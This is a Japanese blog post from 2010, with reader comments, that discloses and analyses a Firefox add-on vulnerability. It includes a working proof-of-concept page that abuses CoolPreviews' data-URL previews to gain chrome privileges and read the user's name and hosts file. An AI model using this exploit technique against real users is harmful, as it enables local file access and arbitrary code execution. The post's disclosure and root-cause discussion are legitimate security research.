Hatena::ブログ(Diary)

hogehoge @teramako RSSフィード

 | 

2010-06-21

ハッカージャパンにあったFirefoxアドオンの脆弱性

Hacker Japan (ハッカー ジャパン) 2010年 07月号 [雑誌]

Hacker Japan (ハッカー ジャパン) 2010年 07月号 [雑誌]

の冒頭でFirefoxアドオンに関する脆弱性があるというので読んでみた。

あげられたアドオンは

の3つ

FireFTPはまだ調べてない(なんとなく見つけるのが大変そうな気がしたので後回しにした)

WizzRSSは上記説明でなんとなく予想が付いて、RSSのdescription要素の中身をサニタイズせず(というべきか分からないが)そのまま表示したためだろう。XULアプリにはHTML文字列のscriptタグなどを取り除くnsIScriptableUnescaseHTMLというものがあり、それを使用しなかったのだろうと思ったら、

Disclaimer: While I have made every effort to ensure that versions of Wizz RSS downloaded from this page are vulnerability safe, I can not guarantee that they are 100% free of vulnerabilities. The method prescribed by Mozilla for sanitizing HTML (nsIScriptableUnescapeHTML.parseFragment()), which has been implemented in the Wizz RSS code, is itself subject to vulnerabilities.

Download Nag Free Version

とページに書かれていた。現在は既に修正されている。(AMOからはページが削除されている様だが....)

次、CoolPreviewsである。

結論、ヤバイ。XSSなんて代物じゃない。ほぼ、任意のコードを実行できる。使用している方は即アンインストールしましょう

この拡張機能は、リンク先をマウスオーバーすると右にアイコンが表示され、それをクリックするとページ遷移することなくリンク先をプレビュー表示できるもの。

以下、実証コード(ログインしているユーザ名とhostsファイルの中身を表示するだけのもの)。

Components.classesだとかComponents.interfacesだとか見慣れないものがあるが、これはFirefox内部のシステム特権がないとアクセスできないオブジェクトである。それに簡単にアクセスできてしまうのだ。システム特権があれば、ローカルファイルの読み書きや実行、クロスドメインXMLHttpRequestが可能であり、ほぼ何でもありだ。

<html>
<head>
    <title>CoolePreviews(ver 3.1.0521)の脆弱性</title>
</head>
<body>
<p><a href="data:text/html,<script>'https://';
const Cc = Components.classes,Ci=Components.interfaces;
function w(str){document.write(str);}
w('<p>Your name is '+Cc['@mozilla.org/userinfo;1'].getService(Ci.nsIUserInfo).username+'</p>');
var xhr=new XMLHttpRequest;
var os=Cc['@mozilla.org/xre/app-info;1'].getService(Ci.nsIXULRuntime).OS;
var fileURL= (os=='WINNT')?'file://C://WINDOWS/system32/drivers/etc/hosts':'file:///etc/hosts';
xhr.open('GET',fileURL,false);xhr.send(null);
w('<pre>'+xhr.responseText+'</pre>');
</script>">hoge</a></p>
</body>
</html>

http://gyazo.com/e13d97795d54f4a6eefaeb8d1c9c0eb7.png

この拡張はリンク先のhrefを読み取ってプレビュー時にbrowser要素(iframeの様なもの)でloadURIしている。通常のプロトコルのhttp等ならそれなりの権限で実行されるのだろうが、dataURLだと実行したスクリプトの権限(この場合拡張からなのでシステム権限)になってしまうのではなかろうか。

一応、a.href.toString().indexOfでhttpやhttpsがないか見ているようだが、やり方がindexOf('http://’)!=-1)なので、http://という文字列が何処かにあれば良くなってしまっている。

こりゃダメでしょ。

コードもhttp://gyazo.com/c8ee2383be4407a908bfd72cc1dc38b4.pngの様に微妙に難読化されているし、AMOのレビューする人も正常系だけ確認して終わっちゃったんでしょうね。

ハッカージャパン中ではレビューの強化とGoogleChromeの様なサンドボックスの導入を謳ってたけど...。


FireFTP について (追記:2010-06-22)

だそうです。

ということで、WizzRSSと同じく、キケンなタグ等は取り除く必要があったということなのだと思う。

何となく思いついたんだけど、UTF-7問題と組み合わせるとどうなるんだろう。<,>を単純にエスケープしても防げない可能性もあり?

ひぐまひぐま 2010/06/22 13:57 こんにちは。ちょっと補足させて下さい。

1. WizzRSSがnsIScriptableUnescaseHTMLを使っていなかったのは事実ですが、それを使うだけでは十分な対策とはいえません。このメソッドは一部の属性内のスクリプトを除去しないからです。他の対策も組み合わせる必要があります。

2. 私の理解によれば、スクリプトの実行権限はURL(httpかdataか)で決まるのではなく、それをロードするbrowser要素が持つ権限によって決まります。リンク先がhttpであっても、それをシステム特権を持つbrowser要素内にそのままロードすると、リンク先に書かれているスクリプトは特権モードで動くはずです。

但しtype属性にcontent…という値を指定すれば、それは通常の権限でロードされます。通常のWebページがシステム内部にアクセスできないのは、Firefox自身が持っているbrowser要素にこの属性が指定されているからです。

ちなみにURLの安全性検証にはnsIScriptSecurityManagerを使うと便利です。

(関連URL)
http://himag.blog26.fc2.com/blog-entry-325.html
http://himag.blog26.fc2.com/blog-entry-326.html

teramakoteramako 2010/06/22 14:14 GJ!!!!

>1
それを使うだけでは十分な対策とはいえません。このメソッドは一部の属性内のスクリプトを除去しないからです。
あらら、知りませんでした orz

>2
おおお、そうか、type属性か。
data URLのときだけ特別に変なことになるとは考えにくく、ちょっと煮え切らない思いだったのですが、すっきりしました。

>URLの安全性は
そうですね。nsIScriptSecurityManagerはThunderbird3でFirefoxと同様にRSSの検出をする際に使用した覚えがあります。

いろいろ教えて頂き、ありがとうございました。

moozmooz 2010/06/22 18:36 CoolPreviews でプレビューに使われている browser 要素をチェックしたところ, type 属性は content に設定されていました.

そのため, スクリプトの実行権限がそれをロードする browser 要素の権限によってのみ決まるのであれば, エントリ内での data スキームを使った脆弱性を付くコードも実行されないはずです.

しかし現実には実行されてしまっているので, やはり data スキームは特別扱いされているのではないかと思います.

勘違いをしているようでしたら, すみません.

teramakoteramako 2010/06/22 20:28 "content"だとダメなのか? ということで、使用しているbrowser要素にsetAttribute("type","content-targetable")をしてみましたが、結果は変わらずでした。
また、<script>....</script>を抜き出してhttp上にHTMLとしておいて、そこへのリンクを張って試しましたが、Components以下へのアクセスは拒否されました。
やっぱり、data URLに何か問題がありそうな感じがします。

ひぐまひぐま 2010/06/22 21:43 こちらでも確認しました。私の理解が浅かったようです。
やはりURLの検証もきっちりやらないとダメということですね。

teramakoteramako 2010/06/22 22:11 どうもです。
そうですね、indexOf("http://")!=-1 ではチェックとして意味が無いので、やはりnsIScriptableSecurityManagerを使ったり、nsIURI化してnsIURI.schemeIs("http")でチェックするなどが必要ということでしょうね。

teramakoteramako 2010/06/22 22:50 一つ発見。
プレビューしている要素が隠れるとき、loadURI("chrome://cooliris/content/coolirisBlank.htm") をしています。※
これを loadURI("about:blank") に変え、該当browser要素にsrc="about:blank"を加えたところ、セキュリティエラーが出るようになりました。
data URLがロードされるときは、実行コンテキストを引き継ぐのではなく、そのコンテンツの権限を引き継ぐと考えると納得のいく現象ではないでしょうか。

なんにせよ、data URLで実行されるコードは全てnull-principalの方が安全性は高いと思いますが...

※:chrome://cooliris/content/coolirisBlank.htm は改行一つのブランクファイル

teramakoteramako 2010/06/22 22:56 ちょい説明不足か。
つまり、もともと、chrome URLがロードされていてシステム特権が許された状態からloadURI("data:......")が実行されていた、ということです。

murky-satyrmurky-satyr 2010/06/22 23:27 Ubiquity にも同様の問題があって、chrome: を弾くことで解決しました。
http://github.com/satyr/browsertest

ひぐまひぐま 2010/06/23 02:21 そういうことでしたか。
実は、Firefox起動後の1度目のプレビュー表示ではエラーとなり(*)、2度目からはエラーとならず実行されるという謎な現象は確認していたのですが、これで合点がいきました。
まさか自分でchrome URLをロードしていたとは……。
Firefox本体でも、chromeなページを表示している状態でjavascriptやdataスキームのリンクをクリック(またはロケーションバーに入力)すれば、それは当然chromeモードで動くわけで。

(*)browser要素のデフォルト状態は"about:blank"なので。但し1度もプレビューを表示していない状態でも、Firefoxのタブを切り替える操作を行うと強制的にcoolirisBlank.htmがロードされる(TabSelectイベントによる処理)。

スパム対策のためのダミーです。もし見えても何も入力しないでください
ゲスト


画像認証

 |